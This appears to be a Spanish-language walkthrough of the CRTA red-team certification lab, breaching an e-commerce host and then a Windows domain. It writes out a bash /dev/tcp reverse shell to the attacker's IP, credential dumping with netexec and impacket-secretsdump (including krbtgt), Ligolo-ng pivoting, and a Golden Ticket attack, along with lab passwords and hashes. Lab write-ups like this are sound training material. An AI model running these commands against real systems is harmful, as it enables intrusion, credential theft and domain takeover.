(CRTA) Red Team Analyst - Lab
Scope
VPN IP Range
10.10.200.0/24
External IP Range
192.168.80.0/24
Internal IP Range
192.168.98.0/24
Escaneo de red
Primero se debe realizar un escaneo de red para averiguar que direcciones IPv4 pertenecen a esta, de este modo, las tendremos identificadas.
sudo nmap -sn 192.168.80.0/24 -oN direcciones_IP_red1.txt
A continuación procederemos a realizar un escaneo de puertos de cada dirección IPv4 de la red, para tal de ver que puertos tienen aviertos.
sudo nmap -sSVC -p- --min-rate 5000 -n -Pn 192.168.80.10 -vvv -oN escaneo_IP1.txt
Vemos que tiene una web corriendo por el puerto 80. Así que vamos a enumerarla.
Enumeración web (puerto 80)
Para tal de enumerarla, vamos a abrir la web en el navegador.

Vemos que se trata de un E-commerce. Tras no poder ver nada más, vamos a crearnos una cuenta para tal de poder enumerarlo desde dentro.

Vemos que hay un panel de búsqueda, podríamos intentar una SQLI. Pero no resulta exitosa. Pero vemos que nos pide un correo para la newsletter. Lo interceptaremos con burp y lo mandaremos al repeter.

Vemos que no parece nada, pero tras probar varios payloads, vemos que es vulnerable a un OS Command Execution.

Vemos que es vulnerable, ahora solo nos quedaría lanzar una reverse shell.
Intrusión
bash -c 'exec bash -i &>/dev/tcp/10.10.200.162/6969 <&1'nc -lnvp 6969
Tras ver que se queda colgado, vamos a verificar que hemos recibido la petición.

El próximo paso será realizar un tratamiento de la TTY para tal de tener más comodidad.
Escalada de privilegios
Vemos que tenemos un archivo llamado config.php con credenciales de una base de datos.
cat config.php
A continuación nos meteremos en la base de datos para tal de enumerarla y sacar información.
mysql -u root -p
password: Web!@#$%Tras enumerarla por completo no resulta exitoso. Decido enumerar el archivo /etc/passwd para ver si ha contenido sensible expuesto.
cat /etc/passwd | grep "/bin/bash"
Vemos que nos muestra una especie de contraseña para el usuario privilege. Vamos a iniciar sesión por ssh para tal de tener un terminal más cómodo.
ssh privilege@192.168.80.10
Vemos a ver si podemos elevar privilegios de sudo con este usuario.
sudo -l
Vemos que podemos ejecutar todo y elevar directamente nuestros privilegios a root.
sudo su
Extracción de datos sensibles
Tras estar enumerando el sistema, vemos que en el directerio /home/privilege/.mozilla/firefox/b2rri1qd.default-release hay archivos de bases de datos.
ls -la | grep "sqlite"
Tras estar enumerando todas las bases de datos he encontrado unas posibles credenciales de la máquina que debemos saltar.
sqlite places.sqlite.tables
select * from moz_bookmarks;
Pivoting (Ligolo-ng)
Descarga de requerimentos
Agent file
sudo wget https://github.com/nicocha30/ligolo-ng/releases/download/v0.4.3/ligolo-ng_agent_0.4.3_Linux_64bit.tar.gzProxy file
sudo wget https://github.com/nicocha30/ligolo-ng/releases/download/v0.4.3/ligolo-ng_proxy_0.4.3_Linux_64bit.tar.gzDescomprimir y cambiar nombres
tar -xvf ligolo-ng_agent_0.4.3_Linux_64bit.tar.gztar -xvf ligolo-ng_proxy_0.4.3_Linux_64bit.tar.gzsudo mv proxy lin-proxysudo mv agent lin-agent
Generación de interfaz de red para el tunneling
sudo ip tuntap add user cibaism mode tun ligolosudo ip link set ligolo up
Ejecutar el proxy en mi máquina local
./lin-proxy -selfcert -laddr 0.0.0.0:443
A continuación compartimos el agente a la máquina linux que hemos comprometido.
python3 -m http.server 80
wget http://10.10.200.162/lin-agent
A continuación le damos permisos de ejecución.
chmod +x lin-agentEjecutar el agente del proxy en la máquina comprometida
./lin-agent -connect 10.10.200.162:443 -ignore-cert
Ahora revisamos que se ha establecido la comunicación entre las dos máquinas.

En la máquina target, ejecutarmemos el siguiente comando para establecer un route entre redes.
ip route
A continuación en nuestra máquina ejecutaremos el siguiente comando.

sudo ip route add 192.168.98.0/24 dev ligoloip route

Escaneo de la segunda red
A continuación relizaremos un escaneo de la segunda red para tal de ver los endpoints que podemos atacar.
sudo nmap -sn 192.168.98.0/24 -oN direcciones_IP_red2.txtEnumeración de la segunda red
A continuación identificamos guardamos todos los hosts en un archivo para tal de probar las credenciales encontradas en el archivo de base de datos.
netexec smb direcciones_ip_red2.txt -u 'john' -p 'User1@#$%6'
Podemos observer que la máquina 192.168.98.30 está corriendo un DC (Domain Controller) y que las credenciales son válidas. A continuación probaremos si podemos acceder por el protocolo winrm.
netexec winrm 192.168.98.30 -u 'john' -p 'User1@#$%6'
Vemos que las credenciales son válidas así que podemos acceder al sistema.
Intrusión del Domain Controller (DC de la red 2)
A continuación procederemos a autentificarnos.
evil-winrm -i 192.168.98.30 -u 'john' -p 'User1@#$%6'
Elevación de privilegios del DC
A continuación, extraeremos todos los usuarios que han iniciado sesión en el dominio y veremos si podemos extraer alguna de sus credenciales.
netexec smb 192.168.98.30 -u 'john' -p 'User1@#$%6' --loggedon-users
Vamos a ver si podemos dumear sus credenciales o su hash.
netexec smb 192.168.98.30 -u 'john' -p 'User1@#$%6' --lsa
Vemos que nos da unas credenciales. Vamos a verificar que las credenciales funcionan.
netexec smb 192.168.98.30 -u 'corpmngr' -p 'User4&*&*'
Observamos que no podemos ganarnos una shell con esta, pero es una máquina del domino. Por lo tanto vamos a averiguar a que máquina del dominio podemos acceder.
netexec smb direcciones_ip_red2.txt -u 'corpmngr' -p 'User4&*&*'
Vamos a ver si podemos dumear sus credenciales o su hash.
impacket-secretsdump -debug child/corpmngr:'User4&*&*'@cdc.child.warfare.corp
impacket-secretsdump -debug child/corpmngr:'User4&*&*'@cdc.child.warfare.corp -just-dc-user 'child\krbtgt'
Ahora podemos extraer el SID.
impacket-lookupsid child/corpmngr:'User4&*&*'@192.168.98.120
impacket-lookupsid child/corpmngr:'User4&*&*'@192.168.98.2
Al obterner los SID, podemos relizar el atacke de Golden Ticket.
impacket-ticketer -domain child.warfaer.corp -aesKey ad8c273289e4c511b4363c43c08f9a5aff06f8fe002c10ab1031da11152611b2 -domain-sid S-1-5-21-3754860944-83624914-1883974761 -groups 516 -user-id 1106 -extra-sid S-1-5-21-3375883379-808943238-3239386119,S-1-5-9 'corpmngr'
A continuación, decararemos una variable de entorno con el archivo que a soltado.
export KRB5CCNAME=corpmngr.ccache
Finalmente realizaremos la elevación al DC.
getST.py -spn 'CIFS/dc01.warfare.corp' -k -no-pass child.warfare.corp/corpmngr -debugLast updated